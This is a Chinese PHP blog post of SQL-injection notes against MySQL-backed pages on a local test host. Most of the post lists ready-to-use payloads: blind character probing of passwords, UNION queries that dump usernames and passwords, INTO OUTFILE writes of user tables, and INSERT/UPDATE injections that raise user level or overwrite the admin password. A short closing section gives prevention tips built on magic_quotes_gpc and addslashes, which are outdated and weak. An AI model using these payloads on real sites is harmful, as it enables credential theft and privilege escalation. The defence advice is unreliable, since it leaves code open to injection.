PHP的SQL注入实现(测试代码安全不错)


Posted in PHP onFebruary 27, 2011

SQL注入的重点就是构造SQL语句,只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:http://4ngel.net', '3')#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');

UPDATE语句:我喜欢这样个东西
先理解这句SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net', userlevel='3
之后SQL语句变为
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
userlevel为用户级别
2:修改password值为
mypass)' WHERE username='admin'#
之后SQL语句变为
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3:修改id值为
' OR username='admin'
之后SQL语句变为
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

===高级部分===
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===
服务器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
数值类型
使用intval()抓换
字符串类型
SQL语句参数中要添加单引号
下面代码,用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章:
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)

PHP 相关文章推荐
数据库相关问题
Oct 09 PHP
用IE远程创建Mysql数据库的简易程序
Oct 09 PHP
php下通过POST还是GET来传值
Jun 05 PHP
PHP文件读写操作之文件写入代码
Jan 13 PHP
PHP实现手机号码中间四位用星号(*)隐藏的自定义函数分享
Sep 27 PHP
php使用GD创建保持宽高比缩略图的方法
Apr 17 PHP
PHP加密解密字符串汇总
Apr 26 PHP
twig里使用js变量的方法
Feb 05 PHP
thinkphp3.x中变量的获取和过滤方法详解
May 20 PHP
PHP中使用jQuery+Ajax实现分页查询多功能操作(示例讲解)
Sep 17 PHP
PDO::setAttribute讲解
Jan 29 PHP
PHP使用PDO创建MySQL数据库、表及插入多条数据操作示例
May 30 PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
让你成为更出色的PHP开发者的10个技巧
Feb 25 #PHP
理解php Hash函数,增强密码安全
Feb 25 #PHP
php中根据某年第几天计算出日期年月日的代码
Feb 24 #PHP
PHP中防止SQL注入实现代码
Feb 19 #PHP
You might like
php+mysql 实现身份验证代码
2010/03/24 PHP
PHP字符串处理的10个简单方法
2010/06/30 PHP
php使用strip_tags()去除html标签仍有空白的解决方法
2016/07/28 PHP
PHP中实现中文字串截取无乱码的解决方法
2018/05/29 PHP
JavaScript开发规范要求(规范化代码)
2010/08/16 Javascript
这些年、我收集的JQuery代码小结
2012/08/01 Javascript
深入理解javascript动态插入技术
2013/11/12 Javascript
Javascript实现简单的富文本编辑器附演示
2014/06/16 Javascript
jQuery选择器源码解读(七):elementMatcher函数
2015/03/31 Javascript
jQuery代码实现发展历程时间轴特效
2015/07/30 Javascript
EasyUi combotree 实现动态加载树节点
2016/04/01 Javascript
把json格式的字符串转换成javascript对象或数组的方法总结
2016/11/03 Javascript
Es6 写的文件import 起来解决方案详解
2016/12/13 Javascript
20行js代码实现的贪吃蛇小游戏
2017/06/20 Javascript
Vue源码探究之状态初始化
2018/11/14 Javascript
JQuery+Bootstrap 自定义全屏Loading插件的示例demo
2019/07/03 jQuery
在vue中使用inheritAttrs实现组件的扩展性介绍
2020/12/07 Vue.js
three.js如何实现3D动态文字效果
2021/03/03 Javascript
[03:52]DOTA2英雄基础教程 酒仙
2013/12/23 DOTA
[43:58]DOTA2-DPC中国联赛定级赛 LBZS vs SAG BO3第一场 1月8日
2021/03/11 DOTA
Python正规则表达式学习指南
2016/08/02 Python
如何分离django中的媒体、静态文件和网页
2019/11/12 Python
python实现矩阵和array数组之间的转换
2019/11/29 Python
用Python绘制漫步图实例讲解
2020/02/26 Python
Python ArgumentParse的subparser用法说明
2020/04/20 Python
基于tensorflow __init__、build 和call的使用小结
2021/02/26 Python
CSS3实现瀑布流布局与无限加载图片相册的实例代码
2016/12/22 HTML / CSS
卡塔尔航空官方网站:Qatar Airways
2017/02/08 全球购物
Sarenza德国:法国最大的时尚鞋和包包网上商店
2019/06/08 全球购物
人力资源专员自我评价怎么写
2013/09/19 职场文书
通报表扬范文
2015/01/17 职场文书
小学公民道德宣传日活动总结
2015/03/23 职场文书
创业计划书之牛肉汤快餐店
2019/10/08 职场文书
Vue.js中v-bind指令的用法介绍
2022/03/13 Vue.js
《宝可梦》动画制作25周年到来 官方发布特别纪念视频
2022/04/01 日漫
浅谈为什么我的 z-index 又不生效了
2022/07/15 HTML / CSS